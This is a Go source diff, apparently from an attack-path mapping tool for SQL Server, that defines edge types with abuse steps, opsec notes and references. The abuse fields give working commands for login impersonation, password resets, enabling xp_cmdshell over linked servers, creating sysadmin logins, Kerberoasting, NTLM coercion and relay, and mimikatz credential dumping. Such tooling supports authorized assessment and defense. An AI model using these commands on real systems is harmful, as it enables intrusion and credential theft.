+ General: "The " + ctx.SourceType + " has CONTROL SERVER permission on the SQL Server, granting full administrative control equivalent to sysadmin.",
+ WindowsAbuse: "Connect to " + ctx.SQLServerName + " as " + ctx.SourceName + " and execute any administrative command. You can create logins, modify permissions, and access all databases.",
+ LinuxAbuse: "Connect to " + ctx.SQLServerName + " as " + ctx.SourceName + " and execute any administrative command. You can create logins, modify permissions, and access all databases.",
+ Opsec: "CONTROL SERVER grants sysadmin-equivalent permissions. All administrative actions are logged. Consider using more targeted permissions if possible.",
+ References: `- https://learn.microsoft.com/en-us/sql/relational-databases/security/permissions-database-engine
+- https://learn.microsoft.com/en-us/sql/t-sql/statements/grant-server-permissions-transact-sql`,
+ }
+ },
+
+ EdgeKinds.ControlDB: func(ctx *EdgeContext) EdgeProperties {
+ return EdgeProperties{
+ Traversable: true,
+ General: "The " + ctx.SourceType + " has CONTROL permission on the " + ctx.DatabaseName + " database, granting full administrative control equivalent to db_owner.",
+ WindowsAbuse: "Connect to " + ctx.SQLServerName + ", switch to the " + ctx.DatabaseName + " database, and execute any administrative command within the database scope.",
+ LinuxAbuse: "Connect to " + ctx.SQLServerName + ", switch to the " + ctx.DatabaseName + " database, and execute any administrative command within the database scope.",
+ Opsec: "CONTROL on database grants db_owner-equivalent permissions within the database. All database administrative actions are logged.",
+ References: "- https://learn.microsoft.com/en-us/sql/relational-databases/security/permissions-database-engine",
+ }
+ },
+
+ EdgeKinds.Impersonate: func(ctx *EdgeContext) EdgeProperties {
+ return EdgeProperties{
+ Traversable: false, // Non-traversable (matches PowerShell); MSSQL_ExecuteAs is the traversable counterpart
+ General: "The " + ctx.SourceType + " can impersonate the " + ctx.TargetType + ", executing commands with the target's permissions.",
+ WindowsAbuse: "Connect to " + ctx.SQLServerName + " as " + ctx.SourceName + " and execute: EXECUTE AS LOGIN = '" + ctx.TargetName + "'; to impersonate the target login.",
+ LinuxAbuse: "Connect to " + ctx.SQLServerName + " as " + ctx.SourceName + " and execute: EXECUTE AS LOGIN = '" + ctx.TargetName + "'; to impersonate the target login.",
+ Opsec: `Impersonation is logged in SQL Server audit logs. To check current execution context:
+ SELECT SYSTEM_USER, USER_NAME(), ORIGINAL_LOGIN();
+To revert impersonation:
+ REVERT;`,
+ References: `- https://learn.microsoft.com/en-us/sql/t-sql/statements/execute-as-transact-sql
+- https://learn.microsoft.com/en-us/sql/relational-databases/security/authentication-access/impersonate-a-user`,
+ }
+ },
+
+ EdgeKinds.ImpersonateAnyLogin: func(ctx *EdgeContext) EdgeProperties {
+ return EdgeProperties{
+ Traversable: true,
+ General: "The " + ctx.SourceType + " has IMPERSONATE ANY LOGIN permission, allowing impersonation of any server login.",
+ WindowsAbuse: "Connect to " + ctx.SQLServerName + " as " + ctx.SourceName + " and execute: EXECUTE AS LOGIN = ''; to impersonate any login on the server.",
+ LinuxAbuse: "Connect to " + ctx.SQLServerName + " as " + ctx.SourceName + " and execute: EXECUTE AS LOGIN = ''; to impersonate any login on the server.",
+ Opsec: "IMPERSONATE ANY LOGIN is a powerful permission. All impersonation attempts are logged in the SQL Server audit log.",
+ References: "- https://learn.microsoft.com/en-us/sql/t-sql/statements/grant-server-permissions-transact-sql",
+ }
+ },
+
+ EdgeKinds.ChangePassword: func(ctx *EdgeContext) EdgeProperties {
+ return EdgeProperties{
+ Traversable: true,
+ General: "The " + ctx.SourceType + " can change the password of the " + ctx.TargetType + " without knowing the current password.",
+ WindowsAbuse: "Connect to " + ctx.SQLServerName + " as " + ctx.SourceName + " and execute: ALTER LOGIN [" + ctx.TargetName + "] WITH PASSWORD = 'NewPassword123!';",
+ LinuxAbuse: "Connect to " + ctx.SQLServerName + " as " + ctx.SourceName + " and execute: ALTER LOGIN [" + ctx.TargetName + "] WITH PASSWORD = 'NewPassword123!';",
+ Opsec: `Password changes are logged in SQL Server audit logs and Windows Security event log. Event IDs:
+- SQL Server: Audit Login Change Password Event
+- Windows: 4724 (An attempt was made to reset an account's password)`,
+ References: `- https://learn.microsoft.com/en-us/sql/t-sql/statements/alter-login-transact-sql
+- https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-49758`,
+ }
+ },
+
+ EdgeKinds.AddMember: func(ctx *EdgeContext) EdgeProperties {
+ return EdgeProperties{
+ Traversable: true,
+ General: "The " + ctx.SourceType + " can add members to the " + ctx.TargetType + ", granting the new member the permissions assigned to the role.",
+ WindowsAbuse: "Connect to " + ctx.SQLServerName + " as " + ctx.SourceName + " and execute: ALTER SERVER ROLE [" + ctx.TargetName + "] ADD MEMBER [target_login]; or sp_addsrvrolemember for server roles, or ALTER ROLE/sp_addrolemember for database roles.",
+ LinuxAbuse: "Connect to " + ctx.SQLServerName + " as " + ctx.SourceName + " and execute: ALTER SERVER ROLE [" + ctx.TargetName + "] ADD MEMBER [target_login]; or sp_addsrvrolemember for server roles, or ALTER ROLE/sp_addrolemember for database roles.",
+ Opsec: "Role membership changes are logged in SQL Server audit logs. Adding members to privileged roles like sysadmin or db_owner generates high-visibility events.",
+ References: `- https://learn.microsoft.com/en-us/sql/t-sql/statements/alter-server-role-transact-sql
+- https://learn.microsoft.com/en-us/sql/t-sql/statements/alter-role-transact-sql`,
+ }
+ },
+
+ EdgeKinds.Alter: func(ctx *EdgeContext) EdgeProperties {
+ return EdgeProperties{
+ Traversable: false, // Non-traversable by default
+ General: "The " + ctx.SourceType + " has ALTER permission on the " + ctx.TargetType + ".",
+ WindowsAbuse: "ALTER permission allows modifying the target object's properties but may not grant full control.",
+ LinuxAbuse: "ALTER permission allows modifying the target object's properties but may not grant full control.",
+ Opsec: "ALTER operations are logged in SQL Server audit logs.",
+ References: "- https://learn.microsoft.com/en-us/sql/relational-databases/security/permissions-database-engine",
+ }
+ },
+
+ EdgeKinds.Control: func(ctx *EdgeContext) EdgeProperties {
+ return EdgeProperties{
+ Traversable: false, // Non-traversable by default
+ General: "The " + ctx.SourceType + " has CONTROL permission on the " + ctx.TargetType + ".",
+ WindowsAbuse: "CONTROL permission grants ownership-like permissions on the target object.",
+ LinuxAbuse: "CONTROL permission grants ownership-like permissions on the target object.",
+ Opsec: "CONTROL operations are logged in SQL Server audit logs.",
+ References: "- https://learn.microsoft.com/en-us/sql/relational-databases/security/permissions-database-engine",
+ }
+ },
+
+ EdgeKinds.ChangeOwner: func(ctx *EdgeContext) EdgeProperties {
+ return EdgeProperties{
+ Traversable: true,
+ General: "The " + ctx.SourceType + " can take ownership of the " + ctx.TargetType + " via TAKE OWNERSHIP permission.",
+ WindowsAbuse: "Connect to " + ctx.SQLServerName + " as " + ctx.SourceName + " and execute: ALTER AUTHORIZATION ON [" + ctx.TargetName + "] TO [" + ctx.SourceName + "];",
+ LinuxAbuse: "Connect to " + ctx.SQLServerName + " as " + ctx.SourceName + " and execute: ALTER AUTHORIZATION ON [" + ctx.TargetName + "] TO [" + ctx.SourceName + "];",
+ Opsec: "Ownership changes are logged in SQL Server audit logs.",
+ References: "- https://learn.microsoft.com/en-us/sql/t-sql/statements/alter-authorization-transact-sql",
+ }
+ },
+
+ EdgeKinds.AlterAnyLogin: func(ctx *EdgeContext) EdgeProperties {
+ return EdgeProperties{
+ Traversable: false,
+ General: "The " + ctx.SourceType + " has ALTER ANY LOGIN permission on the server, allowing modification of any login.",
+ WindowsAbuse: "This permission allows changing passwords, enabling/disabling logins, and modifying login properties for any login on the server.",
+ LinuxAbuse: "This permission allows changing passwords, enabling/disabling logins, and modifying login properties for any login on the server.",
+ Opsec: "ALTER ANY LOGIN is a sensitive permission. All login modifications are logged.",
+ References: "- https://learn.microsoft.com/en-us/sql/t-sql/statements/grant-server-permissions-transact-sql",
+ }
+ },
+
+ EdgeKinds.AlterAnyServerRole: func(ctx *EdgeContext) EdgeProperties {
+ return EdgeProperties{
+ Traversable: false,
+ General: "The " + ctx.SourceType + " has ALTER ANY SERVER ROLE permission, allowing modification of any server role.",
+ WindowsAbuse: "This permission allows creating, altering, and dropping server roles, as well as adding/removing members from roles.",
+ LinuxAbuse: "This permission allows creating, altering, and dropping server roles, as well as adding/removing members from roles.",
+ Opsec: "ALTER ANY SERVER ROLE is a sensitive permission. All role modifications are logged.",
+ References: "- https://learn.microsoft.com/en-us/sql/t-sql/statements/grant-server-permissions-transact-sql",
+ }
+ },
+
+ EdgeKinds.LinkedTo: func(ctx *EdgeContext) EdgeProperties {
+ return EdgeProperties{
+ Traversable: false, // Base is non-traversable; MakeInterestingEdgesTraversable overrides to true
+ General: "The SQL Server has a linked server connection to " + ctx.TargetName + ", allowing queries across servers.",
+ WindowsAbuse: "Connect to " + ctx.SQLServerName + " and query the linked server: SELECT * FROM [" + ctx.TargetName + "].master.sys.databases; or EXEC [" + ctx.TargetName + "].master.dbo.sp_configure;",
+ LinuxAbuse: "Connect to " + ctx.SQLServerName + " and query the linked server: SELECT * FROM [" + ctx.TargetName + "].master.sys.databases; or EXEC [" + ctx.TargetName + "].master.dbo.sp_configure;",
+ Opsec: "Linked server queries are logged on both the source and target servers. Network traffic between servers may be monitored.",
+ References: `- https://learn.microsoft.com/en-us/sql/relational-databases/linked-servers/linked-servers-database-engine
+- https://www.netspi.com/blog/technical-blog/network-penetration-testing/how-to-hack-database-links-in-sql-server/`,
+ }
+ },
+
+ EdgeKinds.ExecuteAsOwner: func(ctx *EdgeContext) EdgeProperties {
+ return EdgeProperties{
+ Traversable: true,
+ General: "The database is TRUSTWORTHY and owned by a privileged login. Stored procedures can execute as the owner with elevated privileges.",
+ WindowsAbuse: "Create a stored procedure in the trustworthy database with EXECUTE AS OWNER to escalate privileges to the database owner's server-level permissions.",
+ LinuxAbuse: "Create a stored procedure in the trustworthy database with EXECUTE AS OWNER to escalate privileges to the database owner's server-level permissions.",
+ Opsec: "Stored procedure creation and execution are logged. TRUSTWORTHY databases are a known security risk.",
+ References: `- https://learn.microsoft.com/en-us/sql/relational-databases/security/trustworthy-database-property
+- https://www.netspi.com/blog/technical-blog/network-penetration-testing/hacking-sql-server-stored-procedures-part-1-untrustworthy-databases/`,
+ }
+ },
+
+ EdgeKinds.IsTrustedBy: func(ctx *EdgeContext) EdgeProperties {
+ return EdgeProperties{
+ Traversable: false, // Base is non-traversable; MakeInterestingEdgesTraversable overrides to true
+ General: "The database has the TRUSTWORTHY property enabled, which allows stored procedures to access resources outside the database.",
+ WindowsAbuse: "Code executing in this database can access server-level resources if the database owner has appropriate permissions.",
+ LinuxAbuse: "Code executing in this database can access server-level resources if the database owner has appropriate permissions.",
+ Opsec: "TRUSTWORTHY is a security setting that should be disabled unless required. Its status can be queried from sys.databases.",
+ References: "- https://learn.microsoft.com/en-us/sql/relational-databases/security/trustworthy-database-property",
+ }
+ },
+
+ EdgeKinds.ServiceAccountFor: func(ctx *EdgeContext) EdgeProperties {
+ return EdgeProperties{
+ Traversable: false, // Base is non-traversable; MakeInterestingEdgesTraversable overrides to true
+ General: "The " + ctx.SourceType + " is the service account running the SQL Server service for " + ctx.TargetName + ".",
+ WindowsAbuse: "Compromise of the service account grants access to the SQL Server process and potentially to stored credentials and data.",
+ LinuxAbuse: "Compromise of the service account grants access to the SQL Server process and potentially to stored credentials and data.",
+ Opsec: "Service account changes require restarting the SQL Server service.",
+ References: "- https://learn.microsoft.com/en-us/sql/database-engine/configure-windows/configure-windows-service-accounts-and-permissions",
+ }
+ },
+
+ EdgeKinds.HostFor: func(ctx *EdgeContext) EdgeProperties {
+ return EdgeProperties{
+ Traversable: true,
+ General: "The computer hosts the SQL Server instance.",
+ WindowsAbuse: "Administrative access to the host computer provides access to the SQL Server process, data files, and potentially stored credentials.",
+ LinuxAbuse: "Administrative access to the host computer provides access to the SQL Server process, data files, and potentially stored credentials.",
+ Opsec: "Host-level access bypasses SQL Server authentication logging.",
+ References: "",
+ }
+ },
+
+ EdgeKinds.ExecuteOnHost: func(ctx *EdgeContext) EdgeProperties {
+ return EdgeProperties{
+ Traversable: true,
+ General: "The SQL Server can execute commands on the host computer through xp_cmdshell or other mechanisms.",
+ WindowsAbuse: "If xp_cmdshell is enabled, execute: EXEC xp_cmdshell 'whoami'; to run OS commands as the SQL Server service account.",
+ LinuxAbuse: "If xp_cmdshell is enabled, execute: EXEC xp_cmdshell 'whoami'; to run OS commands as the SQL Server service account.",
+ Opsec: "xp_cmdshell execution is logged if enabled. Process creation on the host is logged by the OS.",
+ References: "- https://learn.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/xp-cmdshell-transact-sql",
+ }
+ },
+
+ EdgeKinds.GrantAnyPermission: func(ctx *EdgeContext) EdgeProperties {
+ return EdgeProperties{
+ Traversable: true,
+ General: "The " + ctx.SourceType + " can grant ANY server permission to any login (securityadmin role capability).",
+ WindowsAbuse: "Connect to " + ctx.SQLServerName + " as " + ctx.SourceName + " and grant elevated permissions: GRANT CONTROL SERVER TO [target_login];",
+ LinuxAbuse: "Connect to " + ctx.SQLServerName + " as " + ctx.SourceName + " and grant elevated permissions: GRANT CONTROL SERVER TO [target_login];",
+ Opsec: "Permission grants are logged in SQL Server audit logs. Granting high-privilege permissions generates security alerts in monitored environments.",
+ References: "- https://learn.microsoft.com/en-us/sql/relational-databases/security/authentication-access/server-level-roles",
+ }
+ },
+
+ EdgeKinds.GrantAnyDBPermission: func(ctx *EdgeContext) EdgeProperties {
+ return EdgeProperties{
+ Traversable: true,
+ General: "The " + ctx.SourceType + " can grant ANY database permission to any user (db_securityadmin role capability).",
+ WindowsAbuse: "Connect to " + ctx.SQLServerName + ", switch to the database, and grant elevated permissions: GRANT CONTROL TO [target_user];",
+ LinuxAbuse: "Connect to " + ctx.SQLServerName + ", switch to the database, and grant elevated permissions: GRANT CONTROL TO [target_user];",
+ Opsec: "Permission grants are logged in SQL Server audit logs.",
+ References: "- https://learn.microsoft.com/en-us/sql/relational-databases/security/authentication-access/database-level-roles",
+ }
+ },
+
+ EdgeKinds.Connect: func(ctx *EdgeContext) EdgeProperties {
+ return EdgeProperties{
+ Traversable: false,
+ General: "The " + ctx.SourceType + " has CONNECT SQL permission, allowing it to connect to the SQL Server.",
+ WindowsAbuse: "Connect to " + ctx.SQLServerName + " as " + ctx.SourceName + " using sqlcmd, SQL Server Management Studio, or other SQL client tools.",
+ LinuxAbuse: "Connect to " + ctx.SQLServerName + " as " + ctx.SourceName + " using impacket mssqlclient.py, sqlcmd, or other SQL client tools.",
+ Opsec: `SQL Server logs certain security-related events to a trace log by default, but must be configured to forward them to a SIEM. The local log may roll over frequently on large, active servers, as the default storage size is only 20 MB. Furthermore, the default trace log is deprecated and may be removed in future versions to be replaced permanently by Extended Events.
+Log events are generated by default for failed login attempts and can be viewed by executing EXEC sp_readerrorlog 0, 1, 'Login';), but successful login events are not logged by default.`,
+ References: `- https://learn.microsoft.com/en-us/sql/relational-databases/policy-based-management/server-public-permissions?view=sql-server-ver16
+- https://learn.microsoft.com/en-us/sql/database-engine/configure-windows/default-trace-enabled-server-configuration-option?view=sql-server-ver17
+- https://learn.microsoft.com/en-us/sql/relational-databases/security/auditing/sql-server-audit-database-engine?view=sql-server-ver16`,
+ }
+ },
+
+ EdgeKinds.ConnectAnyDatabase: func(ctx *EdgeContext) EdgeProperties {
+ return EdgeProperties{
+ Traversable: false,
+ General: "The " + ctx.SourceType + " has CONNECT ANY DATABASE permission, allowing it to connect to any database on the SQL Server.",
+ WindowsAbuse: "Connect to " + ctx.SQLServerName + " as " + ctx.SourceName + " and access any database without needing explicit database user mappings.",
+ LinuxAbuse: "Connect to " + ctx.SQLServerName + " as " + ctx.SourceName + " and access any database without needing explicit database user mappings.",
+ Opsec: "Database access is logged if auditing is enabled. This permission bypasses normal database user mapping requirements.",
+ References: "- https://learn.microsoft.com/en-us/sql/t-sql/statements/grant-server-permissions-transact-sql",
+ }
+ },
+
+ EdgeKinds.AlterAnyAppRole: func(ctx *EdgeContext) EdgeProperties {
+ return EdgeProperties{
+ Traversable: false,
+ General: "WARNING: DO NOT execute this attack, as it will immediately break the application that relies on this application role to access this database and WILL cause an outage. The ALTER ANY APPLICATION ROLE permission on a database allows the source " + ctx.SourceType + " to change the password for an application role, activate the application role with the new password, and execute actions with the application role's permissions.",
+ WindowsAbuse: "WARNING: DO NOT execute this attack, as it will immediately break the application that relies on this application role to access this database and WILL cause an outage.",
+ LinuxAbuse: "WARNING: DO NOT execute this attack, as it will immediately break the application that relies on this application role to access this database and WILL cause an outage.",
+ Opsec: "This attack should not be performed as it will cause an immediate outage for the application using this role.",
+ References: "- https://learn.microsoft.com/en-us/sql/relational-databases/security/authentication-access/application-roles?view=sql-server-ver17",
+ }
+ },
+
+ EdgeKinds.AlterAnyDBRole: func(ctx *EdgeContext) EdgeProperties {
+ return EdgeProperties{
+ Traversable: false,
+ General: "The " + ctx.SourceType + " has ALTER ANY ROLE permission on the database, allowing it to create, alter, or drop any user-defined database role and add or remove members from roles.",
+ WindowsAbuse: "Connect to " + ctx.SQLServerName + ", switch to the " + ctx.DatabaseName + " database, and create/modify roles: CREATE ROLE [attacker_role]; ALTER ROLE [db_owner] ADD MEMBER [attacker_user];",
+ LinuxAbuse: "Connect to " + ctx.SQLServerName + ", switch to the " + ctx.DatabaseName + " database, and create/modify roles: CREATE ROLE [attacker_role]; ALTER ROLE [db_owner] ADD MEMBER [attacker_user];",
+ Opsec: "Role modifications are logged in SQL Server audit logs. Adding members to privileged roles generates security events.",
+ References: "- https://learn.microsoft.com/en-us/sql/t-sql/statements/alter-role-transact-sql",
+ }
+ },
+
+ EdgeKinds.HasDBScopedCred: func(ctx *EdgeContext) EdgeProperties {
+ return EdgeProperties{
+ Traversable: false,
+ General: "The database contains a database-scoped credential that authenticates as the target domain account when accessing external resources. There is no guarantee the credentials are currently valid. Unlike server-level credentials, these are contained within the database and portable with database backups.",
+ WindowsAbuse: "The credential could be crackable if it has a weak password and is used automatically when accessing external data sources from this database. Specific abuse for database-scoped credentials requires further research.",
+ LinuxAbuse: "The credential is used automatically when accessing external data sources from this database. Specific abuse for database-scoped credentials requires further research.",
+ Opsec: "Database-scoped credential usage is logged when accessing external resources. These credentials are included in database backups, making them portable. The credential secret is encrypted and cannot be retrieved directly.",
+ References: `- https://learn.microsoft.com/en-us/sql/t-sql/statements/create-database-scoped-credential-transact-sql
+- https://www.netspi.com/blog/technical-blog/network-pentesting/hijacking-sql-server-credentials-with-agent-jobs-for-domain-privilege-escalation/`,
+ }
+ },
+
+ EdgeKinds.HasMappedCred: func(ctx *EdgeContext) EdgeProperties {
+ return EdgeProperties{
+ Traversable: false,
+ General: "The SQL login has a credential mapped via ALTER LOGIN ... WITH CREDENTIAL. This credential is used automatically when the login accesses certain external resources. There is no guarantee the credentials are currently valid.",
+ WindowsAbuse: "The credential could be crackable if it has a weak password and is used automatically when the login accesses certain external resources. The credential can be abused through SQL Agent jobs using proxy accounts.",
+ LinuxAbuse: "The credential could be crackable if it has a weak password and is used automatically when the login accesses certain external resources.",
+ Opsec: "Credential usage is logged when accessing external resources. The actual credential password is encrypted and cannot be retrieved. Credential mapping changes are not logged in the default trace.",
+ References: `- https://learn.microsoft.com/en-us/sql/t-sql/statements/create-credential-transact-sql
+- https://learn.microsoft.com/en-us/sql/relational-databases/security/authentication-access/credentials-database-engine
+- https://www.netspi.com/blog/technical-blog/network-pentesting/hijacking-sql-server-credentials-with-agent-jobs-for-domain-privilege-escalation/`,
+ }
+ },
+
+ EdgeKinds.HasProxyCred: func(ctx *EdgeContext) EdgeProperties {
+ return EdgeProperties{
+ Traversable: false,
+ General: "The SQL principal is authorized to use a SQL Agent proxy account that runs job steps as a domain account. There is no guarantee the credentials are currently valid.",
+ WindowsAbuse: `Create and execute a SQL Agent job using the proxy:
+ EXEC msdb.dbo.sp_add_job @job_name = 'ProxyTest';
+ EXEC msdb.dbo.sp_add_jobstep
+ @job_name = 'ProxyTest',
+ @step_name = 'Step1',
+ @subsystem = 'CmdExec',
+ @command = 'whoami > C:\temp\proxy_user.txt',
+ @proxy_name = 'ProxyName';
+ EXEC msdb.dbo.sp_start_job @job_name = 'ProxyTest';`,
+ LinuxAbuse: `Create and execute a SQL Agent job using the proxy:
+ EXEC msdb.dbo.sp_add_job @job_name = 'ProxyTest';
+ EXEC msdb.dbo.sp_add_jobstep
+ @job_name = 'ProxyTest',
+ @step_name = 'Step1',
+ @subsystem = 'CmdExec',
+ @command = 'whoami',
+ @proxy_name = 'ProxyName';
+ EXEC msdb.dbo.sp_start_job @job_name = 'ProxyTest';`,
+ Opsec: "SQL Agent job execution is logged in msdb job history tables and Windows Application event log.",
+ References: `- https://learn.microsoft.com/en-us/sql/ssms/agent/create-a-sql-server-agent-proxy
+- https://www.netspi.com/blog/technical-blog/network-pentesting/hijacking-sql-server-credentials-with-agent-jobs-for-domain-privilege-escalation/`,
+ }
+ },
+
+ EdgeKinds.ServiceAccountFor: func(ctx *EdgeContext) EdgeProperties {
+ return EdgeProperties{
+ Traversable: false, // Base is non-traversable; MakeInterestingEdgesTraversable overrides to true
+ General: "The domain account is the service account running the SQL Server instance. This account has full control over the SQL Server and can access data in all databases.",
+ WindowsAbuse: `From a domain-joined machine as the service account (or with valid credentials):
+ - If xp_cmdshell is enabled, execute OS commands as the service account
+ - Access all databases and data without restrictions
+ - If the SQL instance is running as a domain account, the cleartext credentials can be dumped from LSA secrets with mimikatz sekurlsa::logonpasswords`,
+ LinuxAbuse: `From a Linux machine with valid credentials:
+ - Connect to SQL Server using impacket mssqlclient.py
+ - Access all databases and data without restrictions
+ - Use the service account for lateral movement in the domain`,
+ Opsec: "Service account access is logged like any other connection. Actions performed as sysadmin are logged in SQL Server audit logs.",
+ References: `- https://learn.microsoft.com/en-us/sql/database-engine/configure-windows/configure-windows-service-accounts-and-permissions
+- https://www.netspi.com/blog/technical-blog/network-pentesting/hacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation/`,
+ }
+ },
+
+ EdgeKinds.HasLogin: func(ctx *EdgeContext) EdgeProperties {
+ return EdgeProperties{
+ Traversable: true,
+ General: "The domain account has a SQL Server login that is enabled and can connect to the SQL Server. This allows authentication to SQL Server using the account's credentials.",
+ WindowsAbuse: "Connect to " + ctx.SQLServerName + " using Windows authentication as the domain account. Use sqlcmd, SQL Server Management Studio, or other SQL client tools.",
+ LinuxAbuse: "Connect to " + ctx.SQLServerName + " using Kerberos authentication with the domain account. Use impacket mssqlclient.py with the -k flag for Kerberos.",
+ Opsec: "SQL Server login connections are logged if login auditing is enabled. Failed logins are always logged by default.",
+ References: `- https://learn.microsoft.com/en-us/sql/relational-databases/security/authentication-access/create-a-login
+- https://learn.microsoft.com/en-us/sql/relational-databases/security/choose-an-authentication-mode`,
+ }
+ },
+
+ EdgeKinds.GetTGS: func(ctx *EdgeContext) EdgeProperties {
+ return EdgeProperties{
+ Traversable: true,
+ General: "The service account has an SPN registered for the MSSQL service. Any authenticated domain user can request a TGS (Kerberos service ticket) for this SPN, which can be used for Kerberoasting attacks if the service account has a weak password.",
+ WindowsAbuse: `Request a TGS and attempt to crack the service account password:
+ # Using Rubeus
+ Rubeus.exe kerberoast /spn:MSSQLSvc/server.domain.com:1433
+
+ # Using PowerView
+ Get-DomainSPNTicket -SPN "MSSQLSvc/server.domain.com:1433"
+
+ Then crack the ticket offline with hashcat or john.`,
+ LinuxAbuse: `Request a TGS and attempt to crack the service account password:
+ # Using impacket
+ GetUserSPNs.py domain.com/user:password -request -outputfile hashes.txt
+
+ Then crack the ticket offline with hashcat:
+ hashcat -m 13100 hashes.txt wordlist.txt`,
+ Opsec: "TGS requests are logged in Windows Event Log 4769 (Kerberos Service Ticket Operations). Multiple TGS requests for SQL SPNs may indicate Kerberoasting.",
+ References: `- https://www.netspi.com/blog/technical-blog/network-pentesting/extracting-service-account-passwords-with-kerberoasting/
+- https://attack.mitre.org/techniques/T1558/003/`,
+ }
+ },
+
+ EdgeKinds.GetAdminTGS: func(ctx *EdgeContext) EdgeProperties {
+ return EdgeProperties{
+ Traversable: true,
+ General: "The service account has an SPN registered and runs the SQL Server with administrative privileges (sysadmin). Compromising this service account grants full control over the SQL Server instance.",
+ WindowsAbuse: `Request a TGS and attempt to crack the service account password:
+ # Using Rubeus
+ Rubeus.exe kerberoast /spn:MSSQLSvc/server.domain.com:1433
+
+ After cracking the password, connect to SQL Server as sysadmin.`,
+ LinuxAbuse: `Request a TGS and attempt to crack the service account password:
+ # Using impacket
+ GetUserSPNs.py domain.com/user:password -request -outputfile hashes.txt
+
+ After cracking the password, connect to SQL Server using impacket mssqlclient.py with sysadmin privileges.`,
+ Opsec: "TGS requests are logged in Windows Event Log 4769. This is a high-value target as it provides admin access to the SQL Server.",
+ References: `- https://www.netspi.com/blog/technical-blog/network-pentesting/extracting-service-account-passwords-with-kerberoasting/
+- https://attack.mitre.org/techniques/T1558/003/`,
+ }
+ },
+
+ EdgeKinds.LinkedAsAdmin: func(ctx *EdgeContext) EdgeProperties {
+ return EdgeProperties{
+ Traversable: true,
+ General: "The source SQL Server has a linked server connection to the target SQL Server where the remote login has sysadmin, securityadmin, CONTROL SERVER, or IMPERSONATE ANY LOGIN privileges. This enables full administrative control of the remote SQL Server through linked server queries.",
+ WindowsAbuse: `Execute commands on the remote server with admin privileges:
+ -- Enable xp_cmdshell on the remote server
+ EXEC ('sp_configure ''show advanced options'', 1; RECONFIGURE;') AT [LinkedServerName];
+ EXEC ('sp_configure ''xp_cmdshell'', 1; RECONFIGURE;') AT [LinkedServerName];
+ EXEC ('xp_cmdshell ''whoami'';') AT [LinkedServerName];
+
+ -- Or create a new sysadmin login
+ EXEC ('CREATE LOGIN [attacker] WITH PASSWORD = ''P@ssw0rd!'';') AT [LinkedServerName];
+ EXEC ('ALTER SERVER ROLE [sysadmin] ADD MEMBER [attacker];') AT [LinkedServerName];`,
+ LinuxAbuse: `Execute commands on the remote server with admin privileges:
+ -- Connect using impacket mssqlclient.py
+ -- Then execute linked server queries:
+ EXEC ('sp_configure ''show advanced options'', 1; RECONFIGURE;') AT [LinkedServerName];
+ EXEC ('sp_configure ''xp_cmdshell'', 1; RECONFIGURE;') AT [LinkedServerName];
+ EXEC ('xp_cmdshell ''id'';') AT [LinkedServerName];`,
+ Opsec: `Linked server queries are logged on both source and target servers. Administrative actions on the remote server are logged as coming from the linked server login.
+The target server must have mixed mode authentication enabled for this attack to work with SQL logins.`,
+ References: `- https://learn.microsoft.com/en-us/sql/relational-databases/linked-servers/linked-servers-database-engine
+- https://www.netspi.com/blog/technical-blog/network-penetration-testing/how-to-hack-database-links-in-sql-server/`,
+ }
+ },
+
+ EdgeKinds.CoerceAndRelayTo: func(ctx *EdgeContext) EdgeProperties {
+ return EdgeProperties{
+ Traversable: true,
+ General: "The SQL Server has Extended Protection (EPA) disabled and has a login for a computer account. This allows NTLM relay attacks where any authenticated user can coerce the computer to authenticate to the SQL Server and relay that authentication to gain access as the computer's SQL login.",
+ WindowsAbuse: `Perform NTLM coercion and relay to the SQL Server:
+ # On the attacker machine, start ntlmrelayx targeting the SQL Server
+ ntlmrelayx.py -t mssql://sql.domain.com -smb2support
+
+ # Coerce the victim computer to authenticate using PetitPotam, Coercer, or similar
+ python3 Coercer.py -u user -p password -d domain.com -l attacker-ip -t victim-computer
+
+ # ntlmrelayx will relay the authentication to the SQL Server and execute commands`,
+ LinuxAbuse: `Perform NTLM coercion and relay to the SQL Server:
+ # On the attacker machine, start ntlmrelayx targeting the SQL Server
+ ntlmrelayx.py -t mssql://sql.domain.com -smb2support
+
+ # Coerce the victim computer to authenticate using PetitPotam
+ python3 PetitPotam.py attacker-ip victim-computer -u user -p password -d domain.com
+
+ # ntlmrelayx will relay the authentication to the SQL Server and execute commands`,
+ Opsec: `NTLM relay attacks can be detected by:
+ - Windows Event 4624 with Logon Type 3 from unexpected sources
+ - SQL Server login events from computer accounts
+ - Network traffic analysis showing NTLM authentication
+Enable Extended Protection (EPA) on SQL Server to prevent this attack.`,
+ References: `- https://learn.microsoft.com/en-us/sql/database-engine/configure-windows/connect-to-the-database-engine-using-extended-protection
+- https://github.com/topotam/PetitPotam
+- https://github.com/p0dalirius/Coercer
+- https://github.com/SecureAuthCorp/impacket/blob/master/examples/ntlmrelayx.py`,
+ }
+ },
+
+ // Database-level permission edges
+ EdgeKinds.AlterDB: func(ctx *EdgeContext) EdgeProperties {
+ return EdgeProperties{
+ Traversable: false,
+ General: "The " + ctx.SourceType + " has ALTER permission on the " + ctx.DatabaseName + " database, allowing modification of database settings and properties.",
+ WindowsAbuse: "Connect to " + ctx.SQLServerName + " and execute: ALTER DATABASE [" + ctx.DatabaseName + "] SET TRUSTWORTHY ON; to enable trustworthy flag for privilege escalation.",
+ LinuxAbuse: "Connect to " + ctx.SQLServerName + " and execute: ALTER DATABASE [" + ctx.DatabaseName + "] SET TRUSTWORTHY ON; to enable trustworthy flag for privilege escalation.",
+ Opsec: "ALTER DATABASE operations are logged in the SQL Server audit log and default trace.",
+ References: "- https://learn.microsoft.com/en-us/sql/t-sql/statements/alter-database-transact-sql",
+ }
+ },
+
+ EdgeKinds.AlterDBRole: func(ctx *EdgeContext) EdgeProperties {
+ return EdgeProperties{
+ Traversable: false,
+ General: "The " + ctx.SourceType + " has ALTER permission on the target database role, allowing modification of role membership.",
+ WindowsAbuse: "Connect to " + ctx.SQLServerName + ", switch to " + ctx.DatabaseName + " database, and execute: ALTER ROLE [" + ctx.TargetName + "] ADD MEMBER [attacker_user];",
+ LinuxAbuse: "Connect to " + ctx.SQLServerName + ", switch to " + ctx.DatabaseName + " database, and execute: ALTER ROLE [" + ctx.TargetName + "] ADD MEMBER [attacker_user];",
+ Opsec: "Role membership changes are logged in SQL Server audit logs.",
+ References: "- https://learn.microsoft.com/en-us/sql/t-sql/statements/alter-role-transact-sql",
+ }
+ },
+
